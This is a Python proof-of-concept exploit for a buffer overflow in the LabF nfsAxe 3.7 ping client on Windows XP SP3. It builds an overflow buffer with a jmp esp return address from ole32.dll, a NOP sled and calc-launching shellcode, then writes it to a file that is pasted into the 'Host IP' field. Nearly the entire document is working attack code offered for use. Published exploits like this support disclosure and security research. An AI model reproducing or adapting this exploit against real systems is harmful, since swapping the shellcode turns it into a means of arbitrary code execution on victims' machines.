LabF nfsAxe 3.7 Ping Client Buffer Overflow

`#!/usr/bin/python  
# Exploit Title: LabF nfsAxe 3.7 Ping Client - Buffer Overflow (Vanilla)  
# Date: 20-04-2019  
# Exploit Author: Dino Covotsos - Telspace Systems  
# Vendor Homepage: http://www.labf.com/nfsaxe  
# Version: 3.7  
# Software Link : http://www.labf.com/download/nfsaxe.exe  
# Contact: services[@]telspace.co.za  
# Twitter: @telspacesystems (Greets to the Telspace Crew)  
# Tested on: Windows XP SP3 ENG x86  
# CVE: TBC from Mitre  
# PoC:  
# 1.) Generate nfsaxeping.txt, copy the contents to clipboard.  
# 2.) In the application(ping.exe) paste contents of clipboard in to "Host IP" and click ok.  
# 3.) Click Start and calc pops  
#0x775a693b : jmp esp | asciiprint,ascii {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.6435 (C:\WINDOWS\system32\ole32.dll)  
#Special thanks to John Leitch for the Windows XP SP3 EN Calc Shellcode (16 Bytes)  
  
shellcode = ("\x31\xC9"   
"\x51"   
"\x68\x63\x61\x6C\x63"   
"\x54"   
"\xB8\xC7\x93\xC2\x77"   
"\xFF\xD0")   
  
buffer = "A" * 29 + "\x3b\x69\x5a\x77" + "\x90" * 10 + shellcode + "C" * (220-29-4-10-16)  
  
payload = buffer  
try:  
f=open("nfsaxeping.txt","w")  
print "[+] Creating %s bytes ping payload.." %len(payload)  
f.write(payload)  
f.close()  
print "[+] File created!"  
except:  
print "File cannot be created"  
`